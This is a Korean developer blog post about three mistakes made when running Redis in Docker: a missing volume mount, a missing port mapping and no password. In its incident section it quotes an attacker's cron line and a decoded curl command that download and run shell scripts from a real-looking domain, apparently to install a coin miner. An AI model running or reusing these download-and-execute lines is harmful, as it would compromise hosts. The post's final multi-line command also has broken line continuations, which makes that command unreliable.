λ„μ»€μ—μ„œ Redis μ‚¬μš©ν•  λ•Œ μ‹œν–‰μ°©μ˜€ 3가지

2023. 4. 2. 12:41γ†πŸ“κΈ°λ‘

λͺ©μ°¨

- κ°œμš” : μ‚¬μš©ν•œ λͺ…λ Ήμ–΄

- 1. `-v /path/on/host:/data` μ˜΅μ…˜ λˆ„λ½

- 2. 포트 ν¬μ›Œλ”© μ˜΅μ…˜ λˆ„λ½

- 3. ν‚€κ°€ 사라진 이유 (feat. ν•΄ν‚Ή?) 

- κ²°λ‘ 

 

 

ν™˜κ²½

ubuntu version: 18.04

docker version: 23.0.1

redis image version: latest

 


κ°œμš”

λ„μ»€μ—μ„œ λ ˆλ””μŠ€λ₯Ό μ‚¬μš©ν•  λ•Œ κ²ͺ은 μ—λŸ¬ 사항을 κΈ°λ‘ν–ˆμŠ΅λ‹ˆλ‹€.

1. λ ˆλ””μŠ€μ— μ €μž₯된 데이터가 μœ μ‹€λ˜κ±°λ‚˜

2. μŠ€ν”„λ§λΆ€νŠΈ μ„œλ²„μ—μ„œ λ ˆλ””μŠ€λ‘œ 접속을 λͺ»ν–ˆκ³ 

3. μ €μž₯ν•œ ν‚€κ°€ 사라지고, "backup1" μ΄λž€ 의문의 ν‚€κ°€ λ‚˜νƒ€λ‚¨.

 

κ²°λ‘ λΆ€ν„° λ§μ”€λ“œλ¦¬λ©΄, λ„μ»€μ—μ„œ λ ˆλ””μŠ€λ₯Ό μ‹€ν–‰ν•  λ•Œ λͺ…λ Ήμ–΄λ§Œ μ œλŒ€λ‘œ 쳀으면 해결될 λ¬Έμ œμ˜€μŠ΅λ‹ˆλ‹€.

μ•„λž˜λŠ” 처음 λ ˆλ””μŠ€λ₯Ό μ‹€ν–‰ν•  λ•Œ μ‚¬μš©ν•œ (잘λͺ»λœ) λͺ…λ Ήμ–΄λ‘œ, μ–΄λ–€ μ—λŸ¬λ₯Ό λ§Œλ‚˜, μ–΄λ–»κ²Œ ν•΄κ²°ν–ˆλŠ”μ§€ 과정을 μ„€λͺ…ν•˜κ² μŠ΅λ‹ˆλ‹€.

// κ°œμ„ μ΄ ν•„μš”ν•œ μ„€μΉ˜ λͺ…λ Ήμ–΄
$ docker run --name my-redis -d redis redis-server --appendonly yes

 

 

1. `-v /path/on/host:/data` μ˜΅μ…˜ λˆ„λ½

 

문제 : μ»¨ν…Œμ΄λ„ˆ μ’…λ£Œ ν›„ μž¬μ‹œμž‘ μ‹œ, κΈ°μ‘΄ λ ˆλ””μŠ€μ— μ €μž₯ν•΄λ‘” 데이터가 λ³΄μ‘΄λ˜μ§€ μ•ŠμŒ.

 

Redis κ°€ 도컀 μ»¨ν…Œμ΄λ„ˆ λ‚΄μ—μ„œ 싀행될 경우, ν•΄λ‹Ή μ»¨ν…Œμ΄λ„ˆκ°€ μ€‘μ§€λ˜κ±°λ‚˜ μ‚­μ œλ˜λ©΄ λ ˆλ””μŠ€μ— μ €μž₯된 λͺ¨λ“  데이터도 μ†μ‹€λ©λ‹ˆλ‹€. 이λ₯Ό λ°©μ§€ν•˜κΈ° μœ„ν•΄ λ³Όλ₯¨ 마운트λ₯Ό μ‚¬μš©ν•˜λ©΄ Redis μ»¨ν…Œμ΄λ„ˆκ°€ 호슀트 λ¨Έμ‹ (ubuntu)의 파일 μ‹œμŠ€ν…œμ— 데이터λ₯Ό μ“Έ 수 μžˆμŠ΅λ‹ˆλ‹€. 즉 μ»¨ν…Œμ΄λ„ˆκ°€ 쀑지/μ‚­μ œλΌλ„ 데이터λ₯Ό 지속할 수 μžˆμŠ΅λ‹ˆλ‹€.

 

μ»¨ν…Œμ΄λ„ˆ μ‹€ν–‰ λͺ…λ Ήμ–΄μ—μ„œ -v μ˜΅μ…˜μ„ μ‚¬μš©ν•˜λ©΄ λ³Όλ₯¨ 마운트λ₯Ό 지정할 수 μžˆμŠ΅λ‹ˆλ‹€.

Dockerμ—μ„œ λ³Όλ₯¨ 마운트λ₯Ό μ§€μ •ν•˜λ©΄ Redis μ»¨ν…Œμ΄λ„ˆκ°€ 호슀트 λ¨Έμ‹ μ˜ 파일 μ‹œμŠ€ν…œμ— 데이터λ₯Ό μ €μž₯ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

docker run -v /path/on/host:/data --name my-redis redis redis-server --appendonly yes


v μ˜΅μ…˜μ—μ„œ /path/on/hostλŠ” Redis의 데이터가 μ €μž₯될 호슀트 λ¨Έμ‹ μ˜ 디렉터리 경둜며, /dataλŠ” Redis 데이터가 μ €μž₯될 μ»¨ν…Œμ΄λ„ˆ λ‚΄λΆ€μ˜ 디렉터리 κ²½λ‘œμž…λ‹ˆλ‹€.

v μ˜΅μ…˜μ„ 지정해야 ν•˜λŠ” μ΄μœ λŠ”, μ»¨ν…Œμ΄λ„ˆκ°€ μ€‘μ§€λ˜κ±°λ‚˜ μ‚­μ œλœ κ²½μš°μ—λ„ Redis μ»¨ν…Œμ΄λ„ˆκ°€ 데이터λ₯Ό μœ μ§€ν•  수 있기 λ•Œλ¬Έμž…λ‹ˆλ‹€. λ³Όλ₯¨ λ§ˆμš΄νŠΈκ°€ μ—†μœΌλ©΄ μ»¨ν…Œμ΄λ„ˆκ°€ μ€‘μ§€λ˜κ±°λ‚˜ μ‚­μ œλ  λ•Œ μ»¨ν…Œμ΄λ„ˆμ— μ €μž₯된 λͺ¨λ“  데이터가 μ†μ‹€λ˜λ―€λ‘œ 데이터 지속성이 μ€‘μš”ν•œ ν”„λ‘œλ•μ…˜ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ—μ„œλŠ” λ¬Έμ œκ°€ 될 수 μžˆμŠ΅λ‹ˆλ‹€.

 

docker inspect [container-name] λͺ…λ Ήμ–΄λ‘œ ν™•μΈν•˜λ©΄, λ³Όλ₯¨ 마운트 섀정이 잘 이뀄진 것을 λ³Ό 수 μžˆμŠ΅λ‹ˆλ‹€.


 

2. port Forwarding μ˜΅μ…˜ λˆ„λ½

문제: μŠ€ν”„λ§λΆ€νŠΈ μ„œλ²„μ—μ„œ λ ˆλ””μŠ€λ‘œ 접속이 λΆˆκ°€λŠ₯ 

 

# (1)
docker run -v /path/on/host:/data --name my-redis2 redis redis-server --appendonly yes

# (2)
docker run -v /path/on/host:/data --name my-redis -p 6379:6379 redis redis-server --appendonly yes

μœ„ λͺ…λ Ήμ–΄λ‘œ 2개의 λ ˆλ””μŠ€ μ»¨ν…Œμ΄λ„ˆλ₯Ό μ‹€ν–‰ν•˜λ©΄ μ•„λž˜μ˜ κ²°κ³Όκ°€ λ‚˜μ˜΅λ‹ˆλ‹€.

my-redis μ»¨ν…Œμ΄λ„ˆλŠ” -p μ˜΅μ…˜μœΌλ‘œ ν¬νŠΈν¬μ›Œλ”©μ„ μ„€μ •ν•œ 반면, my-redis2 μ»¨ν…Œμ΄λ„ˆλŠ” -p μ˜΅μ…˜μ΄ λˆ„λ½λΌ ν¬νŠΈν¬μ›Œλ”© 섀정이 μ—†μŠ΅λ‹ˆλ‹€.

my-redis2 μ»¨ν…Œμ΄λ„ˆλ§Œ μ‘΄μž¬ν•œλ‹€λ©΄ μ™ΈλΆ€μ—μ„œ 6379 포트둜 접속을 μ‹œλ„ν•΄λ„, λ ˆλ””μŠ€ μ»¨ν…Œμ΄λ„ˆλ‘œ 맀핑이 λ˜μ§€ μ•ŠκΈ° λ•Œλ¬Έμ— 접속이 λΆˆκ°€ν•©λ‹ˆλ‹€. λ•Œλ¬Έμ— μ•„λž˜ λͺ…λ Ήμ–΄μ²˜λŸΌ -p μ˜΅μ…˜μœΌλ‘œ ν¬νŠΈν¬μ›Œλ”©μ„ λ°˜λ“œμ‹œ λͺ…μ‹œν•΄μ•Ό ν•©λ‹ˆλ‹€.

docker run -v /path/on/host:/data --name my-redis -p 6379:6379 redis redis-server --appendonly yes

 

 

3. ν‚€κ°€ 사라진 이유 (feat. ν•΄ν‚Ή?) -> λ ˆλ””μŠ€ νŒ¨μŠ€μ›Œλ“œ λ―Έμ„€μ •

λ ˆλ””μŠ€μ— μ €μž₯ν•œ ν‚€κ°€ μ§€μ†μ μœΌλ‘œ μ‚¬λΌμ§€λŠ” λ¬Έμ œκ°€ μžˆμ—ˆμŠ΅λ‹ˆλ‹€. μ²˜μŒμ—λŠ” λ³Όλ₯¨ 마운트 섀정이 잘λͺ»λœ 쀄 μ•Œμ•˜μœΌλ‚˜ ν•΄λ‹Ή 뢀뢄은 λ¬Έμ œκ°€ μ—†μ—ˆμŠ΅λ‹ˆλ‹€. keys * λͺ…λ Ήμ–΄λ‘œ ν™•μΈν•œ κ²°κ³Ό μ €μž₯ν•œ ν‚€κ°€ 사라진 λŒ€μ‹  "backup1" μ΄λž€ ν‚€κ°€ λ“±μž₯ν–ˆμŠ΅λ‹ˆλ‹€. (keys * λͺ…λ Ήμ–΄λŠ” μ§€μ–‘ν•˜λŠ”κ²Œ λ§žμŠ΅λ‹ˆλ‹€)

 

 

λ ˆλ””μŠ€ 둜그λ₯Ό ν™•μΈν•˜κΈ° μœ„ν•΄ μœ„ 경둜둜 이동 ν›„ appendonly.aof.1.incr.aof νŒŒμΌμ„ μ—΄μ—ˆμŠ΅λ‹ˆλ‹€.

 

appendonly.aof.1.incr.aof 

ν•΄λ‹Ή νŒŒμΌμ„ μ—΄λ©΄ μ•„λž˜μ˜ λ‚΄μš©μ΄ λ‚˜μ˜€λŠ”λ°, 

@hourly root  python -c "import urllib2; print urllib2.urlopen('\\s\\s.a-d\\og.t\\op/t.sh').read()" >.1;chmod +x .1;./.1μ΄λž€ μ»€λ§¨λ“œκ°€ λ“±μž₯ν•©λ‹ˆλ‹€.

ν•΄λ‹Ή λͺ…λ Ήμ–΄λ₯Ό chatGPT 에 μ§ˆμ˜ν–ˆμŠ΅λ‹ˆλ‹€.

μš”μ•½ν•˜μžλ©΄ 크둠 작 μŠ€μΌ€μ€„λŸ¬, ν•΄λ‹Ή url μ—μ„œ μ‰˜ 슀크립트 λ‹€μš΄λ‘œλ“œ, νŠΉμ • 파일(`.1`)에 μ €μž₯ ν›„ μ‹€ν–‰ ν•œλ‹€κ³  ν•©λ‹ˆλ‹€.

 

λ˜ν•œ root echo 둜 μ‹œμž‘λ˜λŠ” base64 λ¬Έμžλ„ μ—¬λŸΏ λ‚˜νƒ€λ‚©λ‹ˆλ‹€.ν•΄λ‹Ή μ‚¬μ΄νŠΈμ—μ„œ μœ„μ˜ base64 문자λ₯Ό λ””μ½”λ”© ν–ˆμŠ΅λ‹ˆλ‹€. `curl http://kiss.a-dog.top/b2f628/b.sh(클릭ㄴㄴ)`이 μ‚¬μ΄νŠΈλ‘œ μš”μ²­μ„ 보내 b.sh 슀크립트λ₯Ό μ‹€ν–‰ν•  κ²ƒμœΌλ‘œ μƒκ°λ©λ‹ˆλ‹€.

λΈ”λ‘œκ·Έλ₯Ό μ°Έμ‘°ν•˜λ©΄, 우리의 λ ˆλ””μŠ€ μ €μž₯μ†Œλ₯Ό 코인 λ§ˆμ΄λ‹ μš©λ„λ‘œ μ‚¬μš©ν–ˆλ‹€κ³  μΆ”λ‘ ν•©λ‹ˆλ‹€.

 

그럼 μ–΄λ–»κ²Œ μ €λŸ° μŠ€ν¬λ¦½νŠΈκ°€ λ ˆλ””μŠ€ μ»¨ν…Œμ΄λ„ˆμ— μ£Όμž…λ  수 μžˆμ—ˆμ„κΉŒμš”?

λΉ„λ°€λ²ˆν˜Έλ₯Ό μ„€μ •ν•˜μ§€ μ•Šμ•˜κΈ° λ•Œλ¬Έμž…λ‹ˆλ‹€ πŸ˜‚

 

--requirepass [password] λͺ…λ Ήμ–΄λ₯Ό μ‚¬μš©ν•΄ λΉ„λ°€λ²ˆν˜Έλ₯Ό μ„€μ •ν•˜κ² μŠ΅λ‹ˆλ‹€.

docker run -v /path/on/host:/data --name my-redis -p 6379:6379 redis redis-server --appendonly yes --requirepass [password]

μ„€μ • ν›„ redis-cli 둜 λ ˆλ””μŠ€ μ»¨ν…Œμ΄λ„ˆμ— μ ‘μ†ν•˜λ©΄ NOAUTH μ—λŸ¬κ°€ λœΉλ‹ˆλ‹€.

auth [password] λ₯Ό μž…λ ₯ν•˜λ©΄ 인증이 μ™„λ£Œλ˜μ–΄ λͺ…λ Ήμ–΄λ₯Ό μž…λ ₯ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

 

이전과 달리, μ»¨ν…Œμ΄λ„ˆλ₯Ό 쀑지/μž¬μ‹œμž‘ν•˜κ±°λ‚˜, λͺ‡ μ‹œκ°„ 후에 μž¬μ ‘μ†ν•˜μ—¬λ„ μ €μž₯된 ν‚€κ°€ λ³΄μ‘΄λ˜λŠ” 것을 확인할 수 μžˆμ—ˆμŠ΅λ‹ˆλ‹€.

 

 

κ²°λ‘ 

λ ˆλ””μŠ€λ₯Ό 도컀에 μ„€μΉ˜ν•˜λ©΄μ„œ κ²ͺ은 λ‹€μ–‘ν•œ 문제λ₯Ό μ‚΄νŽ΄λ΄€μŠ΅λ‹ˆλ‹€. 

1. λ³Όλ₯¨ 마운트 섀정은 λ‹¨μˆœνžˆ μ»¨ν…Œμ΄λ„ˆ 쀑지/μž¬μ‹œμž‘ 이유λ₯Ό λ„˜μ–΄, λ ˆλ””μŠ€ ν΄λŸ¬μŠ€ν„°λ₯Ό μ„€μ •ν•  λ•Œλ„ κΌ­ ν•„μš”ν•œ 섀정이라 μƒκ°λ©λ‹ˆλ‹€.

2. 포트 ν¬μ›Œλ”©μ€ λ ˆλ””μŠ€λ§Œμ˜ 문제라기 보단, 도컀 μ»¨ν…Œμ΄λ„ˆλ₯Ό μ‹€ν–‰ν•  λ•Œ 섀정이 λ―Έμˆ™ν–ˆλ˜ λΆ€λΆ„μ΄μ—ˆμŠ΅λ‹ˆλ‹€.

3. νŒ¨μŠ€μ›Œλ“œ λ¬Έμ œλŠ” 아직도 λ†€λΌμš΄λ°,,, μ‹€μ œλ‘œ μ•…μ„± μŠ€ν¬λ¦½νŠΈκ°€ 제 μ„œλ²„μ— λ“±μž₯ν•  것이라곀 μ˜ˆμƒν•˜μ§€ λͺ»ν–ˆμŠ΅λ‹ˆλ‹€. jwt 토큰을 μ‚¬μš©ν•˜κΈ° μœ„ν•΄ redis λ₯Ό λ„μž…ν–ˆλŠ”λ°, μ •μž‘ redis μ„€μ •λΆ€ν„° 뚀린 μ•„ν”ˆ μ‚¬λ‘€λ‘œ κΈ°μ–΅λ˜κ² μŠ΅λ‹ˆλ‹€. νŒ¨μŠ€μ›Œλ“œ μ„€μ •..ν•„μˆ˜..κΌ­ ⭐️

 

κ²°κ³Ό) λ ˆλ””μŠ€ μ»¨ν…Œμ΄λ„ˆλ₯Ό μ‹€ν–‰ν•˜κΈ° μœ„ν•œ μ΅œμ’… λͺ…λ Ήμ–΄μ˜ λͺ¨μŠ΅μž…λ‹ˆλ‹€.

docker run -v /path/on/host:/data \  # volume mount 지정
--name [container name] \
-p 6379:6379 \  # port forwadinr 지정
redis redis-server 
--appendonly yes 
--requirepass [password] \  # password 지정

 

ref

Docker μ»¨ν…Œμ΄λ„ˆμ— λ°μ΄ν„° μ €μž₯ (λ³Όλ₯¨/λ°”μΈλ“œ λ§ˆμš΄νŠΈ)

Redis ν•΄ν‚Ήλ‹Ήν•œ μ΄μ•ΌκΈ°